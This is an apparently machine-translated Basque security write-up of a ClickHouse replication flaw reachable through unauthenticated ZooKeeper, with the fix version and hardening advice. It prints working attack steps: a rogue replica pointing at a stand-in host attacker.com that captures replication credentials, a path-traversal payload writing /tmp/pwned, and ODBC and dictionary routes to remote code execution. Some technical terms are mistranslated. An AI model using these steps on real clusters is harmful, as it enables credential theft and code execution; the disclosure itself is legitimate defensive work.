Zergatik mantendu behar dituzu zooko kaiolak itxita?

Zergatik mantendu behar dituzu zooko kaiolak itxita?

Artikulu honek ClickHouse erreplikazio-protokoloko ahultasun oso zehatz baten istorioa kontatuko du, eta eraso-azalera nola heda daitekeen ere erakutsiko du.

ClickHouse datu-bolumen handiak gordetzeko datu-base bat da, gehienetan erreplika bat baino gehiago erabiliz. ClickHouse-n multzokatzea eta erreplikatzea gainean eraikita daude Apache ZooKeeper (ZK) eta idazketa-eskubideak eskatzen ditu.

ZK instalazio lehenetsiak ez du autentifikaziorik behar, beraz, Kafka, Hadoop, ClickHouse konfiguratzeko erabiltzen diren ZK zerbitzariak publikoki eskuragarri daude.

Zure eraso-azalera murrizteko, beti konfiguratu beharko zenuke autentifikazioa eta baimena ZooKeeper instalatzerakoan

Jakina, 0egunetan oinarritutako Java deserializazio batzuk daude, baina imajinatu erasotzaile batek ZooKeeper-en irakurri eta idatzi dezakeela, ClickHouse errepliketarako erabiltzen dena.

Kluster moduan konfiguratuta dagoenean, ClickHouse-k kontsulta banatuak onartzen ditu DDL, ZKtik pasatuz - haientzat nodoak sortzen dira fitxan /clickhouse/task_queue/ddl.

Adibidez, nodo bat sortzen duzu /clickhouse/task_queue/ddl/query-0001 edukiarekin:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

eta horren ostean, proba-taula ezabatuko da host1 eta host2 kluster zerbitzarietan. DDL-k CREATE/ALTER/DROP kontsultak exekutatzen ere onartzen du.

Beldurgarria soinua? Baina non lor ditzake erasotzaile batek zerbitzariaren helbideak?

ClickHouse erreplikazioa Taula indibidualen mailan funtzionatzen du, beraz, taula bat ZKn sortzen denean, metadatuak erreplikekin trukatzeaz arduratuko den zerbitzari bat zehazten da. Adibidez, eskaera bat exekutatzen denean (ZK konfiguratu behar da, chXX - Erreplikaren izena, foobar - Taularen izena):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

nodoak sortuko dira zutabeak ΠΈ metadata.

edukien /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Posible al da kluster honetako datuak batzea? Bai, erreplikazio ataka (TCP/9009) zerbitzarian chXX-address suebakia ez da itxiko eta erreplikatzeko autentifikazioa ez da konfiguratuko. Nola saihestu autentifikazioa?

Erasotzaile batek erreplika berri bat sor dezake ZKn, edukiak kopiatuz /clickhouse/tables/01-01/foobar/replicas/chXX eta esanahia aldatzea host.

edukien /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ondoren, beste erreplikei esan behar diezu erasotzailearen zerbitzarian hartu behar duten datu bloke berri bat dagoela - ZKn nodo bat sortzen da. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX hazten den kontagailua monotonikoki, gertaeren erregistroko azkena baino handiagoa izan behar duena):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

non iturburu_erreplika β€” aurreko urratsean sortutako erasotzailearen erreplikaren izena, bloke_id - datu-blokearen identifikatzailea, lortu - "Lortu blokeoa" komandoa (eta hona hemen beste eragiketetarako komandoak).

Ondoren, erreplika bakoitzak gertaera berri bat irakurtzen du erregistroan eta erasotzaileak kontrolatzen duen zerbitzari batera doa datu-bloke bat jasotzeko (erreplika-protokoloa bitarra da, HTTPren gainean exekutatzen da). Zerbitzaria attacker.com eskaerak jasoko ditu:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

non XXX erreplikatzeko autentifikazio-datuak diren. Zenbait kasutan, datu-baserako sarbidea duen kontu bat izan daiteke ClickHouse protokolo nagusiaren eta HTTP protokoloaren bidez. Ikusi duzun bezala, eraso-azalera izugarri handia da, ZooKeeper, erreplikaziorako erabiltzen dena, autentifikazio konfiguratu gabe geratu delako.

Ikus dezagun erreplika batetik datu bloke bat lortzeko funtzioa, konfiantza osoz idatzita dago erreplika guztiak kontrol egokian daudela eta haien artean konfiantza dagoela.

Zergatik mantendu behar dituzu zooko kaiolak itxita?
erreplikazioa prozesatzeko kodea

Funtzioak fitxategien zerrenda irakurtzen du, ondoren haien izenak, tamainak, edukiak, eta fitxategi sisteman idazten ditu. Merezi du fitxategi-sisteman datuak nola gordetzen diren bereizita deskribatzea.

Hainbat azpidirektorio daude /var/lib/clickhouse (konfigurazio fitxategiko biltegiratze direktorio lehenetsia):

banderak - Grabatzeko direktorioa banderak, datuak galdu ondoren berreskuratzeko erabiltzen da;
tmp β€” aldi baterako fitxategiak gordetzeko direktorioa;
erabiltzaile_fitxategiak β€” Eskaeretan fitxategiak dituzten eragiketak direktorio honetara mugatzen dira (INTO OUTFILE eta beste batzuk);
metadata β€” Taulen deskribapenekin sql fitxategiak;
aurreprozesatutako_konfigurazioak - prozesatutako eratorritako konfigurazio fitxategiak /etc/clickhouse-server;
datuak - benetako direktorioa datuekin, kasu honetan datu-base bakoitzeko azpidirektorio bereizi bat besterik ez da sortzen hemen (adibidez /var/lib/clickhouse/data/default).

Taula bakoitzeko, azpidirektorio bat sortzen da datu-baseen direktorioa. Zutabe bakoitza fitxategi bereizia da motor formatua. Adibidez, mahai baterako foobarErasotzaile batek sortutako, fitxategi hauek sortuko dira:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Erreplikak datu-bloke bat prozesatzen duenean izen bereko fitxategiak jasotzea espero du eta ez ditu inola ere balioztatzen.

Irakurle adiak seguruenik jada entzun du funtzio batean fitxategi_izena kateatu ez seguruaz WriteBufferFromFile. Bai, erasotzaileak erabiltzaile-eskubideak dituen FSko edozein fitxategitan eduki arbitrarioa idazteko aukera ematen dio clickhouse. Horretarako, erasotzaileak kontrolatzen duen erreplikak honako erantzun hau itzuli behar dio eskaerari (lerro-jauziak gehitu dira ulertzeko errazteko):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

eta kateatu ondoren ../../../../../../../../../tmp/pwned fitxategia idatziko da /tmp/pwned edukiarekin kaixozookeeper.

Fitxategiak idazteko gaitasuna urrutiko kodea exekutatzeko (RCE) bihurtzeko hainbat aukera daude.

Kanpoko hiztegiak RCEn

Bertsio zaharretan, ClickHouse ezarpenak dituen direktorioa erabiltzaile-eskubideekin gordetzen zen clickhouse lehenetsia. Ezarpen-fitxategiak zerbitzuak abiaraztean irakurtzen dituen XML fitxategiak dira eta, ondoren, cachean sartzen dira /var/lib/clickhouse/preprocessed_configs. Aldaketak gertatzen direnean, berriz irakurtzen dira. sarbidea baduzu /etc/clickhouse-server erasotzaile batek berea sor dezake kanpoko hiztegia exekutagarria mota eta gero kode arbitrarioa exekutatu. ClickHouse-ren egungo bertsioek ez dute eskubiderik ematen lehenespenez, baina zerbitzaria pixkanaka eguneratzen joango balitz, eskubide horiek iraun dezakete. ClickHouse kluster bat onartzen baduzu, egiaztatu ezarpenen direktorioaren eskubideak, erabiltzailearena izan behar du root.

ODBCtik RCEra

Pakete bat instalatzean, erabiltzaile bat sortzen da clickhouse, baina bere hasierako direktorioa ez da sortu /nonexistent. Hala ere, kanpoko hiztegiak erabiltzean edo beste arrazoi batzuengatik, administratzaileek direktorio bat sortzen dute /nonexistent eta erabiltzaileari eman clickhouse bertan idazteko sarbidea (SSZB! gutxi gorabehera. itzultzailea).

ClickHouse-k onartzen du ODBC eta beste datu-baseetara konektatu daiteke. ODBCn, datu-basearen kontrolatzailearen liburutegirako bidea (.so) zehaztu dezakezu. ClickHouse-ren bertsio zaharragoek eskaera-kudeatzailean zuzenean egin dezakezu, baina orain konexio-katearen egiaztapen zorrotzagoa gehitu da. odbc-bridge, beraz, jada ezinezkoa da eskabidetik gidariaren bidea zehaztu. Baina erasotzaile batek idatzi al dezake hasierako direktoriora goian deskribatutako ahultasuna erabiliz?

Sor dezagun fitxategi bat ~/.odbc.ini honelako edukiarekin:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

gero abiaraztean SELECT * FROM odbc('DSN=lalala', 'test', 'test'); liburutegia kargatuko da test.so eta RCE jaso zuen (eskerrik asko buglloc puntarako).

Hauek eta beste ahultasun batzuk ClickHouse 19.14.3 bertsioan konpondu dira. Zaindu zure ClickHouse eta ZooKeepers!

Iturria: www.habr.com

Gehitu iruzkin berria